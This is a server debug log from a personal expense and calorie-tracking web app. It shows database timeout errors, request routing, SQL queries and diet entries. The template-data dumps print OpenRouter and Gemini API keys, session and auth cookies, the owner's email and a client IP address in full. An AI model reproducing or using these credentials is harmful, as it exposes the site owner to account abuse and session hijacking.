    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-24 01:24:32' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-24 01:44:56' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-24 01:44:56' as DATETIME)"
}
2025-12-24T01:58:22.420Z server-connect:router Serving templateView /
2025-12-24T01:58:22.422Z server-connect:app Executing action step identify
2025-12-24T01:58:22.422Z server-connect:app options: { provider: 'security' }
2025-12-24T01:58:22.422Z server-connect:output identity: 1
2025-12-24T01:58:22.422Z server-connect:app Executing action step restrict
2025-12-24T01:58:22.422Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-24T01:58:22.425Z server-connect:output restrict: undefined
2025-12-24T01:58:22.425Z server-connect:app Executing action step restrict
2025-12-24T01:58:22.425Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-24T01:58:22.426Z server-connect:output restrict: undefined
2025-12-24T01:58:22.426Z server-connect:router Render template layouts/main
2025-12-24T01:58:22.426Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'cross-site',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    cookie: 'your_r_git.sid=s%3AQq2tibWaXFO9cZFfGA0LsqHfV2TP-kyq.AwMsduKU1UcD2nJ37hxe0X1YegdXBkKwRJRl%2Fh5dvOg',
    'x-forwarded-for': '157.48.248.104',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-25T00:44:59.523Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '157.48.248.104',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'cross-site',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'your_r_git.sid=s%3AQq2tibWaXFO9cZFfGA0LsqHfV2TP-kyq.AwMsduKU1UcD2nJ37hxe0X1YegdXBkKwRJRl%2Fh5dvOg',
    'HTTP_X_FORWARDED-FOR': '157.48.248.104',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2025-12-24T01:58:23.089Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-24T01:58:23.090Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-24T01:58:23.090Z server-connect:app Executing action step identify
2025-12-24T01:58:23.090Z server-connect:app options: { provider: 'security' }
2025-12-24T01:58:23.090Z server-connect:output identity: 1
2025-12-24T01:58:23.090Z server-connect:app Executing action step restrict
2025-12-24T01:58:23.090Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-24T01:58:23.091Z server-connect:app Executing action step identify
2025-12-24T01:58:23.091Z server-connect:app options: { provider: 'security' }
2025-12-24T01:58:23.091Z server-connect:output identity: 1
2025-12-24T01:58:23.091Z server-connect:app Executing action step restrict
2025-12-24T01:58:23.091Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-24T01:58:23.092Z server-connect:output restrict: undefined
2025-12-24T01:58:23.092Z server-connect:app Executing action step select
2025-12-24T01:58:23.092Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-24T01:58:23.093Z server-connect:output restrict: undefined
2025-12-24T01:58:23.093Z server-connect:app Executing action step single
2025-12-24T01:58:23.093Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-24T01:58:23.097Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-24T01:58:23.099Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-24T01:58:29.659Z server-connect:router Serving templateView /calorie-tracker
2025-12-24T01:58:29.659Z server-connect:app Executing action step identify
2025-12-24T01:58:29.660Z server-connect:app options: { provider: 'security' }
2025-12-24T01:58:29.660Z server-connect:output identity: 1
2025-12-24T01:58:29.660Z server-connect:app Executing action step restrict
2025-12-24T01:58:29.660Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-24T01:58:29.661Z server-connect:output restrict: undefined
2025-12-24T01:58:29.661Z server-connect:router Render template calorie-tracker
2025-12-24T01:58:29.661Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Android"',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"53b4-hJwt03sV3qAQlEbosi1oHRrMibw"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AxHYmim%2FoTc2KPr20nQzwHw%3D%3D.qe02wUH0YRZYaXKav45rB4DBUaj2icdyYNp1OO7MyZ1T4ywBAMqIA%2F4bvpGPxj7JNVMmvCsEGtMJhokdl5ucyrVGPyqcRNCbbL8%2BvHE7P2jpJJOvBm6ubZZGZjcdwIH9vmmR7HTuaphBTcGnWsrux6ZdqofHn3id%2BEGaMmNxq0c%3D.02FtE%2Fw1H00POOUi2OPFEWTqT8t0D%2FpiwuiqEIcJyis; your_r_git.sid=s%3AQq2tibWaXFO9cZFfGA0LsqHfV2TP-kyq.AwMsduKU1UcD2nJ37hxe0X1YegdXBkKwRJRl%2Fh5dvOg',
    'x-forwarded-for': '157.48.248.104',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-25T00:44:59.523Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '157.48.248.104',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"53b4-hJwt03sV3qAQlEbosi1oHRrMibw"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AxHYmim%2FoTc2KPr20nQzwHw%3D%3D.qe02wUH0YRZYaXKav45rB4DBUaj2icdyYNp1OO7MyZ1T4ywBAMqIA%2F4bvpGPxj7JNVMmvCsEGtMJhokdl5ucyrVGPyqcRNCbbL8%2BvHE7P2jpJJOvBm6ubZZGZjcdwIH9vmmR7HTuaphBTcGnWsrux6ZdqofHn3id%2BEGaMmNxq0c%3D.02FtE%2Fw1H00POOUi2OPFEWTqT8t0D%2FpiwuiqEIcJyis; your_r_git.sid=s%3AQq2tibWaXFO9cZFfGA0LsqHfV2TP-kyq.AwMsduKU1UcD2nJ37hxe0X1YegdXBkKwRJRl%2Fh5dvOg',
    'HTTP_X_FORWARDED-FOR': '157.48.248.104',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-24T01:58:29.954Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-24T01:58:29.954Z server-connect:app Executing action step identify
2025-12-24T01:58:29.954Z server-connect:app options: { provider: 'security' }
2025-12-24T01:58:29.955Z server-connect:output identity: 1
2025-12-24T01:58:29.955Z server-connect:app Executing action step restrict
2025-12-24T01:58:29.955Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-24T01:58:29.955Z server-connect:output restrict: undefined
2025-12-24T01:58:29.955Z server-connect:app Executing action step single
2025-12-24T01:58:29.955Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-24T01:58:29.957Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-24T01:58:29.957Z server-connect:app Executing action step select
2025-12-24T01:58:29.957Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-24T01:58:29.958Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-24T01:58:29.958Z server-connect:app Executing action step identify
2025-12-24T01:58:29.958Z server-connect:app options: { provider: 'security' }
2025-12-24T01:58:29.958Z server-connect:output identity: 1
2025-12-24T01:58:29.959Z server-connect:app Executing action step restrict
2025-12-24T01:58:29.959Z server-connect:app options: { provider: 'security' }
2025-12-24T01:58:29.959Z server-connect:output restrict: undefined
2025-12-24T01:58:29.959Z server-connect:app Executing action step single
2025-12-24T01:58:29.959Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-24T01:58:29.959Z server-connect:output item_list: [
  {
    id: 500,
    intake_date: '2025-12-23T18:30:00.000Z',
    item_name: 'Jamfal (Guava)',
    calories: 30,
    protein_gm: 1,
    carbs_gm: 7,
    fat_gm: 0,
    quantity: '2 slices',
    replacements: 'Cucumber slices,Watermelon slices,Bell pepper strips',
    created_at: '2025-12-23T19:28:36.000Z',
    skip_level: 1,
    skip_reason: "Jamfal is a good source of Vitamin C and fiber, beneficial for overall health and recovery. It's a low-calorie fruit."
  },
  {
    id: 501,
    intake_date: '2025-12-23T18:30:00.000Z',
    item_name: 'Pre-workout supplement',
    calories: 10,
    protein_gm: 0,
    carbs_gm: 2,
    fat_gm: 0,
    quantity: '1 scoop',
    replacements: 'Black coffee (no sugar/cream),Green tea,Small piece of fruit (e.g., half a banana)',
    created_at: '2025-12-23T19:28:36.000Z',
    skip_level: 2,
    skip_reason: "While pre-workouts can provide a boost for intense sessions, they often contain artificial sweeteners, colors, and stimulants. For muscle development, focus on whole foods and adequate sleep. If you feel you need it, ensure it's a high-quality product with minimal additives. Consider if the energy boost is truly necessary for every session or if natural sources can suffice."
  }
]
2025-12-24T01:58:29.959Z server-connect:app Executing action step setvalue
2025-12-24T01:58:29.959Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-24T01:58:29.959Z server-connect:output var_total: 40
2025-12-24T01:58:29.960Z server-connect:app Executing action step setvalue
2025-12-24T01:58:29.960Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-24T01:58:29.960Z server-connect:output var_consumed: 2
2025-12-24T01:58:29.960Z server-connect:app Executing action step setvalue
2025-12-24T01:58:29.960Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-24T01:58:29.960Z server-connect:output var_deficit: 2360
2025-12-24T01:58:29.960Z server-connect:app Executing action step custom
2025-12-24T01:58:29.960Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
